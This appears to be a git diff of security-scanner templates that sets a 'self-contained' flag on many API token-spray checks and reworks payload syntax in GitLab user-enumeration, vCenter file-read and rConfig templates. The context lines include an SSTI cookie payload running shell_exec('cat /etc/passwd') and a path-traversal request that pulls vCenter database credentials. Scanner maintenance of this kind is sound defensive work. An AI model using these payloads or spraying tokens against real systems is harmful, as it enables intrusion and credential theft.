- data: "AUTH PLAIN {{base64(hex_decode('00')+'apikey'+hex_decode('00')+token)}}\r\n"
diff --git a/token-spray/mailgun.yaml b/token-spray/mailgun.yaml
index 3667ba1c69..c4997aaaa4 100644
--- a/token-spray/mailgun.yaml
+++ b/token-spray/mailgun.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,mailgun
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/mapbox.yaml b/token-spray/mapbox.yaml
index c4640d9695..1e246f783b 100644
--- a/token-spray/mapbox.yaml
+++ b/token-spray/mapbox.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,mapbox
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/nerdgraph.yaml b/token-spray/nerdgraph.yaml
index d67d458faa..ca570964e4 100644
--- a/token-spray/nerdgraph.yaml
+++ b/token-spray/nerdgraph.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,newrelic,nerdgraph
+self-contained: true
requests:
- method: POST
path:
diff --git a/token-spray/npm.yaml b/token-spray/npm.yaml
index cfe2c86746..fb0ef0b6b7 100644
--- a/token-spray/npm.yaml
+++ b/token-spray/npm.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,node,npm,package,manager
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/openweather.yaml b/token-spray/openweather.yaml
index 1a9a5058e3..916936aa97 100644
--- a/token-spray/openweather.yaml
+++ b/token-spray/openweather.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,weather,openweather
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/pagerduty.yaml b/token-spray/pagerduty.yaml
index fcc00d7e88..bad59948ed 100644
--- a/token-spray/pagerduty.yaml
+++ b/token-spray/pagerduty.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,pagerduty
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/pendo.yaml b/token-spray/pendo.yaml
index 8ea141bcc0..66cd885dc6 100644
--- a/token-spray/pendo.yaml
+++ b/token-spray/pendo.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,pendo
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/pivotaltracker.yaml b/token-spray/pivotaltracker.yaml
index c52e04af9a..d7a74ded66 100644
--- a/token-spray/pivotaltracker.yaml
+++ b/token-spray/pivotaltracker.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,pivotaltracker
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/postmark.yaml b/token-spray/postmark.yaml
index 5b5aead0dc..85367b5c61 100644
--- a/token-spray/postmark.yaml
+++ b/token-spray/postmark.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,postmark
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/sendgrid.yaml b/token-spray/sendgrid.yaml
index b887b0b7d1..d9330371f1 100644
--- a/token-spray/sendgrid.yaml
+++ b/token-spray/sendgrid.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,sendgrid
+self-contained: true
network:
- inputs:
- data: "ehlo\r\n"
diff --git a/token-spray/slack.yaml b/token-spray/slack.yaml
index 2703830f3a..8203aa56b5 100644
--- a/token-spray/slack.yaml
+++ b/token-spray/slack.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,slack
+self-contained: true
requests:
- method: POST
path:
diff --git a/token-spray/sonarcloud.yaml b/token-spray/sonarcloud.yaml
index fdf0dc6724..aed9d1760f 100644
--- a/token-spray/sonarcloud.yaml
+++ b/token-spray/sonarcloud.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,sonarcloud
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/spotify.yaml b/token-spray/spotify.yaml
index 2ccc098209..01f1d80084 100644
--- a/token-spray/spotify.yaml
+++ b/token-spray/spotify.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,spotify
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/square.yaml b/token-spray/square.yaml
index 383e3ddc8a..7ccb835189 100644
--- a/token-spray/square.yaml
+++ b/token-spray/square.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,square
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/stripe.yaml b/token-spray/stripe.yaml
index 16e358e75a..50e8979aa7 100644
--- a/token-spray/stripe.yaml
+++ b/token-spray/stripe.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,stripe
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/tinypng.yaml b/token-spray/tinypng.yaml
index 922e62848b..357fb1bdbf 100644
--- a/token-spray/tinypng.yaml
+++ b/token-spray/tinypng.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,tinypng
+self-contained: true
requests:
- method: POST
path:
diff --git a/token-spray/travisci.yaml b/token-spray/travisci.yaml
index 5212516fc1..3b43f9e529 100644
--- a/token-spray/travisci.yaml
+++ b/token-spray/travisci.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,travis
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/twitter.yaml b/token-spray/twitter.yaml
index d648daa0d1..ec654b2782 100644
--- a/token-spray/twitter.yaml
+++ b/token-spray/twitter.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,twitter
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/visualstudio.yaml b/token-spray/visualstudio.yaml
index a05d17e57a..e7c0a0a2f8 100644
--- a/token-spray/visualstudio.yaml
+++ b/token-spray/visualstudio.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,visualstudio,microsoft
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/wakatime.yaml b/token-spray/wakatime.yaml
index b48ed5e79f..7237446fce 100644
--- a/token-spray/wakatime.yaml
+++ b/token-spray/wakatime.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,wakatime
+self-contained: true
requests:
- method: GET
path:
diff --git a/token-spray/weglot.yaml b/token-spray/weglot.yaml
index 9c1a8e2874..37e6b647ef 100644
--- a/token-spray/weglot.yaml
+++ b/token-spray/weglot.yaml
@@ -7,6 +7,7 @@ info:
severity: info
tags: token-spray,weglot
+self-contained: true
requests:
- method: POST
path:
diff --git a/token-spray/youtube.yaml b/token-spray/youtube.yaml
index 3ab7726092..8c1384579b 100644
--- a/token-spray/youtube.yaml
+++ b/token-spray/youtube.yaml
@@ -7,17 +7,19 @@ info:
severity: info
tags: token-spray,youtube
+self-contained: true
requests:
- method: GET
path:
- "https://www.googleapis.com/youtube/v3/activities?part=contentDetails&maxResults=25&channelId=UC-lHJZR3Gqxm24_Vd_AJ5Yw&key={{token}}"
- matchers-condition: or
+ matchers-condition: or
matchers:
- type: word
part: body
words:
- 'quotaExceeded'
+
- type: status
status:
- 200
diff --git a/vulnerabilities/gitlab/gitlab-user-enumeration.yaml b/vulnerabilities/gitlab/gitlab-user-enumeration.yaml
index 70867414e7..869b0ddd14 100644
--- a/vulnerabilities/gitlab/gitlab-user-enumeration.yaml
+++ b/vulnerabilities/gitlab/gitlab-user-enumeration.yaml
@@ -16,10 +16,9 @@ requests:
Accept: application/json, text/plain, */*
Referer: {{BaseURL}}
+ threads: 50
payloads:
user: helpers/wordlists/user-list.txt
- attack: sniper
- threads: 50
matchers-condition: and
matchers:
diff --git a/vulnerabilities/gitlab/gitlab-user-open-api.yaml b/vulnerabilities/gitlab/gitlab-user-open-api.yaml
index e6b7567303..8302f25e2a 100644
--- a/vulnerabilities/gitlab/gitlab-user-open-api.yaml
+++ b/vulnerabilities/gitlab/gitlab-user-open-api.yaml
@@ -15,10 +15,9 @@ requests:
Accept: application/json, text/plain, */*
Referer: {{BaseURL}}
+ threads: 50
payloads:
uid: helpers/wordlists/numbers.txt
- attack: sniper
- threads: 50
matchers-condition: and
matchers:
diff --git a/vulnerabilities/other/pdf-signer-ssti-to-rce.yaml b/vulnerabilities/other/pdf-signer-ssti-to-rce.yaml
index 889fd93cff..f1d82689fa 100644
--- a/vulnerabilities/other/pdf-signer-ssti-to-rce.yaml
+++ b/vulnerabilities/other/pdf-signer-ssti-to-rce.yaml
@@ -12,6 +12,8 @@ requests:
- "{{BaseURL}}"
headers:
Cookie: "CSRF-TOKEN=rnqvt{{shell_exec('cat /etc/passwd')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl"
+
+ skip-variables-check: true
matchers-condition: and
matchers:
- type: status
diff --git a/vulnerabilities/other/rconfig-rce.yaml b/vulnerabilities/other/rconfig-rce.yaml
index c08699eb6d..00bc474218 100644
--- a/vulnerabilities/other/rconfig-rce.yaml
+++ b/vulnerabilities/other/rconfig-rce.yaml
@@ -33,7 +33,7 @@ requests:
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="email"
- test@{{randstr.tld}}
+ test@{{randstr}}.tld
--01b28e152ee044338224bf647275f8eb
Content-Disposition: form-data; name="editid"
diff --git a/vulnerabilities/vmware/vmware-vcenter-lfi.yaml b/vulnerabilities/vmware/vmware-vcenter-lfi.yaml
index 2fc7c98a9e..9ee7ce40bb 100644
--- a/vulnerabilities/vmware/vmware-vcenter-lfi.yaml
+++ b/vulnerabilities/vmware/vmware-vcenter-lfi.yaml
@@ -12,7 +12,7 @@ info:
requests:
- raw:
- |
- GET /eam/vib?id=§path§\vcdb.properties HTTP/1.1
+ GET /eam/vib?id={{path}}\vcdb.properties HTTP/1.1
Host: {{Hostname}}
payloads:
@@ -20,14 +20,13 @@ requests:
- "C:\\ProgramData\\VMware\\VMware+VirtualCenter" # vCenter Server 5.5 and earlier (Windows 2008)
- "C:\\Documents+and+Settings\\All+Users\\Application+Data\\VMware\\VMware+VirtualCenter" # Other Windows versions
- "C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx" # vCenter Server => 6.0
- attack: sniper
matchers-condition: and
matchers:
- type: regex
regex:
- "(?m)^(driver|dbtype|password(\\.encrypted)?)\\s="
- part: body
+
- type: status
status:
- 200